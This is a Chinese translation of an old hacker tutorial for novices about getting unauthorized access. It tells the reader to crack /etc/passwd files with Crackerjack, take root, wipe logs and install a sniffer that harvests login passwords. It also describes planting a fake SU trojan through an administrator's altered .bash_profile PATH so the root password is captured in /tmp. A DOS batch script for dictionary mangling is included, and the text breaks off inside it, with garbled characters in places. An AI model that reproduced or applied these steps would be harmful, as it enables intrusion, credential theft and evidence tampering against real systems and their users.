主題：
破解（Cracking）passwrd 文檔
與新手交談
困難的方法
利用mount命令獲取訪問(wèn)權(quán)限
有很多方法可以獲得一個(gè)起始帳號(hào)．我將深入每個(gè)方面幫助你開(kāi)始．你所需的只是一個(gè)好的帳號(hào)，用來(lái)獲得數(shù)百個(gè)帳號(hào)．想一想這：你進(jìn)入一個(gè)很好的可以利用的系統(tǒng)（大多是Linux機(jī)器;)，奪取root權(quán)限并裝上一個(gè)Sniffer（嗅探器）；這個(gè)TCP sniffer 將監(jiān)測(cè)到網(wǎng)絡(luò)上任何login（登陸）過(guò)程并記錄下所有Telnet，F(xiàn)tp或撥號(hào)進(jìn)出的Login 名和口令；這樣即使是一個(gè)小以太網(wǎng)你也可獲得大約100個(gè)口令，如果是一個(gè)更大的網(wǎng)絡(luò)供應(yīng)商你就會(huì)得到全世界的數(shù)百個(gè)帳號(hào)！這一切，你只要有某個(gè)可利用系統(tǒng)的一個(gè)好帳號(hào)和口令就可做到！如果你看起來(lái)無(wú)法利用某系統(tǒng)的root權(quán)限，那就拿它來(lái)破解口令，用來(lái)和那些但沒(méi)有shell帳號(hào)或磁盤(pán)空間的其他hacker及IRC使用者交換．決不要把一個(gè)你有root權(quán)限的系統(tǒng)的口令給出去！你自己留著它！
OK，讓我們開(kāi)始深入獲取你的第一個(gè)帳號(hào)的方法．Go!
--------------------------------------------------------------------------------
破解passwd 文檔
　
如果你是按照心中正確的框架去hacking的話(huà)，一般都是先運(yùn)行破解程序直到得到一個(gè)可以進(jìn)入此系統(tǒng)的好帳號(hào)．然后Login上去看看能否奪取系統(tǒng)的root權(quán)限．如果可以，拿了root，移取用得著的文檔到你的子目錄里，抹去你的在場(chǎng)痕跡，清除所有日志．這樣就準(zhǔn)備好可以安裝Sniffer了．
為何要去破解那些只用24小時(shí)就可破解出大部分口令的系統(tǒng)？我們的目的不僅僅是正在hack的機(jī)器，還有那些與之相連的機(jī)器．如果某系統(tǒng)沒(méi)有利用價(jià)值，不要在它上面浪費(fèi)時(shí)間，去尋找下一個(gè)目標(biāo)．后注：如果你僅僅是為了得到上面所說(shuō)的交換帳號(hào)的口令那又另當(dāng)別論．
得到一個(gè)管理員的帳號(hào)后，你可能會(huì)想讀一讀他的歷史文檔，看看他是否曾用過(guò)SU命令成為root．如果有，你就可以用SU特洛伊木馬幫你奪取root口令．它如此工作：你更改他（管理員）的Shell腳本使得一隱藏目錄（.term）被很好安置在搜尋路徑里所有目錄之前．把偽SU程序放在該.term（或其他）目錄里．他鍵下SU，對(duì)他來(lái)說(shuō)一切都如常，在提示下他鍵入root口令，然后口令就悄悄地被拷貝到/tmp/.elm69的log文檔里，同時(shí)刪除偽SU文件，并返回一個(gè)摽諏畬頂?shù)男畔⒆屗僭囈淮危芾韱T一定認(rèn)為是他輸入錯(cuò)了，便再次運(yùn)行SU，但這回是真的SU了．
在后面的uuencode過(guò)的附錄里，你可找到假SU程序．
　
這是DOC文檔：
Fake SU by Nfin8 - i-e
IRC: /msg i-e
Easy as 1，2，3 ．．．
1．更改路徑到你已有訪問(wèn)權(quán)限的用戶(hù)帳號(hào)上，此前你應(yīng)已從歷史文檔中看到他曾用過(guò)SU命令；先建立放SU特洛伊程序的目錄．最好是.term或.elm．
2．確定已編輯過(guò)su.c的頭部指向你所用路徑，使得SU特洛伊可自我刪除并在第二次嘗試讓真SU程序運(yùn)行．
3．把所有文件放進(jìn)目標(biāo)目錄，并編譯su.c．
gcc su.c -o su
然后刪除SU以外的所有文件．一切搞定！
.bash_profile 結(jié)構(gòu)如下：
# .bash_profile
# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi
# User specific environment and startup programs
PATH=$PATH:$HOME/bin
ENV=$HOME/.bashrc
USERNAME=""
export USERNAME ENV PATH
把第一行改為：PATH=$HOME/.term:$PATH:$HOME/bin
當(dāng)系統(tǒng)管理員運(yùn)行SU時(shí)，就會(huì)先運(yùn)行在.term里的SU特洛伊然后報(bào)告口令出錯(cuò)．SU特洛伊程序會(huì)在/tmp目錄創(chuàng)建包含鍵入的root口令（或帳戶(hù)口令）的隱藏文件．如果是非root帳戶(hù)，它還記錄帳戶(hù)名．然后SU特洛伊自我刪除使得下次嘗試將運(yùn)行真正的SU程序．
你可在/etc目錄下的passwd文檔前部找到管理員的用戶(hù)名．只需打：more passwd
你可確信passwd文檔的頭一二個(gè)帳戶(hù)就是管理員的，雖然有時(shí)你也能找到其他人的目錄如/staff/username．
歷史文檔在每個(gè)用戶(hù)目錄里．通過(guò)閱讀它們，你可看到該用戶(hù)最近使用過(guò)的命令，有時(shí)能看到最近的100多個(gè)命令．尋找.bash_history或history文件，你可用more命令讀它們：more .bash_history，也可：more .b*或more .b（然后按鍵盤(pán)上的Tab鍵）．
OK，現(xiàn)在你需要一個(gè)好的password破解程序．下一章你可看到在沒(méi)有帳號(hào)時(shí)如何從系統(tǒng)奪取password文檔．但是it is catch 22（我不懂了？：譯者），你還是要用到password破解程序．
你需要下列三樣?xùn)|東：
1． Password破解程序
2． 好的字典檔
3． Password 文檔
初學(xué)者最好的password破解程序當(dāng)數(shù)Crackerjack，搜尋Web頁(yè)可以很容易找到它．Down下來(lái)準(zhǔn)備開(kāi)始．如果你已有所入門(mén)，可down一個(gè)unix版本的Cjack并在shell環(huán)境下運(yùn)行它．但如你是初學(xué)，down一個(gè)DOS/OS/2版本好了．
此外還要找一些好字典檔．最好的字典檔就是名字（names）了．你會(huì)在網(wǎng)絡(luò)上發(fā)現(xiàn)最不可靠的口令如男孩的女友名，女孩的男友名啦：）象如'familynames' 'babynames' 'girlsnames' 'boysnames' 'commonpasswords'’ hackersdict’這樣為名的字典檔是最好的．
裝載crackerjack如：[D:\jack]jack
Cracker Jack version 1.4 for OS/2 and DOS (386)
Copyright (C) 1993， The Jackal， Denmark
PWfile(s) : domain.com.passwd
Wordfile : domain.com.passwd
上面把password文檔作為字典檔．這會(huì)讓你先找出那些用登陸名（Login name）作口令的用戶(hù)，如果用真名（real name ）或公司名之類(lèi)的信息的話(huà)，也能馬上猜中．這樣你就不用苦苦等候程序搜索整個(gè)字典檔了．
　
如果想hash（我譯做：擴(kuò)充）字典檔以得到更多的詞量，可參讀crackerjack的DOC文檔．
所謂hashing（擴(kuò)充）就是你可告訴crackerjack更改字典檔中的詞例如在單詞的前后加一些數(shù)字或字母，就象sandy1或1sandy．你會(huì)發(fā)現(xiàn)很多用戶(hù)這樣做并以為這更可靠．
下面就是為口令文檔和字典檔寫(xiě)的hashing文件．通過(guò)觀察它們，你就會(huì)明白你如何修改它們或創(chuàng)建新的hashing文件以滿(mǎn)足自己的需要．
------------ start of dicthash.bat
@echo off
cls
echo - THIS FILE FOR DOS MACHINES
echo ----------------------------------------------------------------------
echo - To work this batch file have all of the crackerjack files in the
echo - current directory with this batch file， along with your dict and
echo - password file. Then use this batch file using the following format:
echo -
echo - dicthash.bat dictfilename.ext passwordfilename.ext
echo -
echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
echo -
echo - dicthash will first load jack running the dict file against your
echo - password file in both cases， then it will add numbers 0-9 both to
echo - the begining and end of every dict word. This will take a while，
echo - so go out for that week vacation!
echo -
echo - If you get tired you can 'ctrl c' to the next option or number.
echo -
echo - ii@dormroom.pyro.net
echo -
echo - Mail me some of your hits， let me know how this works for you ;)
jpp -lower %1 | jack -stdin %2
jpp %1 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.7 | jack -stdin %2